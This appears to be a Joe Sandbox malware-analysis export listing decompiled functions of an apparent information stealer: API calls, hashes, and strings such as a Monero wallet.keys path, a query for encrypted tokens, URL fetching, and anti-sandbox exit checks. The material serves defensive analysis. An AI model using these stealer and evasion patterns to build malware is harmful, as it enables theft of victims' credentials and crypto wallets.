Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b0dd5a659ef7a57c32581a9ab899b2e99085cf479588f6e7885d306daeb44dba
Instruction ID: bf8aff9d4ef0e924bb6823c6189ce20cdbde5502e8ed21e43e9fb4bace7bb665
Opcode Fuzzy Hash: b0dd5a659ef7a57c32581a9ab899b2e99085cf479588f6e7885d306daeb44dba
Instruction Fuzzy Hash: C6614CB59042AC9BDB24DB50DC45BEEB7B8BF54300F0081E9E649A6181EB705FC9CFA1

Function 001EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

lstrlen.KERNEL32(00000000), ref: 001EBC9F

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 001EBCCD
lstrlen.KERNEL32(00000000), ref: 001EBDA5
lstrlen.KERNEL32(00000000), ref: 001EBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 001EBBEB
AccountId, xrefs: 001EBCC4
AccountTokens, xrefs: 001EBABA
AccountTokens, xrefs: 001EBB49

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 8b2bef95a8099697d13eb077a209a86772f32d9a892a11275c86c68d06c4c7b6
Instruction ID: a55b0b36158e2141933f4d04e080297335741679940ba32b125922ef336bdce1
Opcode Fuzzy Hash: 8b2bef95a8099697d13eb077a209a86772f32d9a892a11275c86c68d06c4c7b6
Instruction Fuzzy Hash: 5AB148B191010C9BDB14FBA0CC96DFE7378BF64301F844168F60AA7091EF786A59CB62

Function 001E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 001E4FD1
InternetOpenA.WININET(00200DDF,00000000,00000000,00000000,00000000), ref: 001E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 001E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 001E5041
InternetCloseHandle.WININET(?), ref: 001E50B9
InternetCloseHandle.WININET(?), ref: 001E50C6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 9595620c871b62cd5a6fcd3b897f9bbeab370a8748a38722ba65ba40832a1c36
Instruction ID: 34221f21da3dc2200eb335d5746f0de8a24d1f6d0b41c0203cc4e6e344939c0c
Opcode Fuzzy Hash: 9595620c871b62cd5a6fcd3b897f9bbeab370a8748a38722ba65ba40832a1c36
Instruction Fuzzy Hash: 813105B4A00218ABDB24CF54DC85BDCB7B5EB48704F5081E9FB09A7281C7706AC68F9D

Function 001F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001F8426
wsprintfA.USER32 ref: 001F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 001F847B
RegCloseKey.ADVAPI32(00000000), ref: 001F848C
RegCloseKey.ADVAPI32(00000000), ref: 001F8499

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

RegQueryValueExA.KERNEL32(00000000,0143D940,00000000,000F003F,?,00000400), ref: 001F84EC
lstrlen.KERNEL32(?), ref: 001F8501
RegQueryValueExA.KERNEL32(00000000,0143DA30,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00200B34), ref: 001F8599
RegCloseKey.KERNEL32(00000000), ref: 001F8608
RegCloseKey.ADVAPI32(00000000), ref: 001F861A

Strings

%s\%s, xrefs: 001F844D

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 3a46053b2fdd62bc065e98f65b57a023dc03041115fb8b09899c81b75fd7a70a
Instruction ID: 6466114bf00ac02abeae48c79d5f8b437a1e30ed6765cad56d340c6086a73faf
Opcode Fuzzy Hash: 3a46053b2fdd62bc065e98f65b57a023dc03041115fb8b09899c81b75fd7a70a
Instruction Fuzzy Hash: 46211BB1A1021CABDB24DB54DC85FE9B3B8FB48704F40C5E8E60996140DF716A86CFD4

Function 001F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 001F76AB
RegOpenKeyExA.KERNEL32(80000002,0142B690,00000000,00020119,00000000), ref: 001F76DD
RegQueryValueExA.KERNEL32(00000000,0143D928,00000000,00000000,?,000000FF), ref: 001F76FE
RegCloseKey.ADVAPI32(00000000), ref: 001F7708

Strings

Windows 11, xrefs: 001F76BD

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 5c2ce91ee01069b7722f0da0f96791a0f7fc7f0639f9581341146a836e151bda
Instruction ID: 0d995a676441ffab8086376d9c70dac54d7e524929a359be72990ebc29bdf19a
Opcode Fuzzy Hash: 5c2ce91ee01069b7722f0da0f96791a0f7fc7f0639f9581341146a836e151bda
Instruction Fuzzy Hash: 82017CB4B00208BBE710EBE0DC49F69B7B8EB48701F504164FF0496290D77099158B59

Function 001F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7734
RtlAllocateHeap.NTDLL(00000000), ref: 001F773B
RegOpenKeyExA.KERNEL32(80000002,0142B690,00000000,00020119,001F76B9), ref: 001F775B
RegQueryValueExA.KERNEL32(001F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 001F777A
RegCloseKey.ADVAPI32(001F76B9), ref: 001F7784

Strings

CurrentBuildNumber, xrefs: 001F7771

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 21ec4e329b6001d82c84d12205ab1a04679a8e2c1c56fd690a76660e9e6ade41
Instruction ID: c1fed4c4e01528d6b7a7efc5e5b08cc0f876b77c5e3696510acc763a784a3a64
Opcode Fuzzy Hash: 21ec4e329b6001d82c84d12205ab1a04679a8e2c1c56fd690a76660e9e6ade41
Instruction Fuzzy Hash: 5D0144B5B40308BBDB10EBE4DC49FAEB7B8EB44704F504554FF05A7281DB7095118B55

Function 001F69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430738), ref: 001F98A1
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430798), ref: 001F98BA
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430600), ref: 001F98D2
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,014307E0), ref: 001F98EA
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430630), ref: 001F9903
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01438970), ref: 001F991B
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01426780), ref: 001F9933
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,014269E0), ref: 001F994C
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430840), ref: 001F9964
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430648), ref: 001F997C
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,014307F8), ref: 001F9995
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430828), ref: 001F99AD
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01426860), ref: 001F99C5
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,01430618), ref: 001F99DE

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001E11D0: ExitProcess.KERNEL32 ref: 001E1211

Part of subcall function 001E1160: GetSystemInfo.KERNEL32(?), ref: 001E116A
Part of subcall function 001E1160: ExitProcess.KERNEL32 ref: 001E117E

Part of subcall function 001E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001E112B
Part of subcall function 001E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 001E1132
Part of subcall function 001E1110: ExitProcess.KERNEL32 ref: 001E1143

Part of subcall function 001E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001E123E
Part of subcall function 001E1220: __aulldiv.LIBCMT ref: 001E1258
Part of subcall function 001E1220: __aulldiv.LIBCMT ref: 001E1266
Part of subcall function 001E1220: ExitProcess.KERNEL32 ref: 001E1294

Part of subcall function 001F6770: GetUserDefaultLangID.KERNEL32 ref: 001F6774

Part of subcall function 001E1190: ExitProcess.KERNEL32 ref: 001E11C6

Part of subcall function 001F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
Part of subcall function 001F7850: RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
Part of subcall function 001F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

Part of subcall function 001F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
Part of subcall function 001F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
Part of subcall function 001F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014388C0,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001F6AE8
CloseHandle.KERNEL32(00000000), ref: 001F6AF9
Sleep.KERNEL32(00001770), ref: 001F6B04
CloseHandle.KERNEL32(?,00000000,?,014388C0,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6B1A
ExitProcess.KERNEL32 ref: 001F6B22

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 6eff527f8362495f665509b6415f122ddcac72f3a0f0679dbb303e252ed2cc7f
Instruction ID: 80d5f17775dbc89c464b5a5ce1771272abe527d4520dd92eaca81b2356aa13b0
Opcode Fuzzy Hash: 6eff527f8362495f665509b6415f122ddcac72f3a0f0679dbb303e252ed2cc7f
Instruction Fuzzy Hash: F33141B0A4020CABDB04F7F0DC56BFE7778AF64340F944528F706A6182DFB46A05C6A6

Function 001E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
LocalFree.KERNEL32(001E148F), ref: 001E9A90
CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
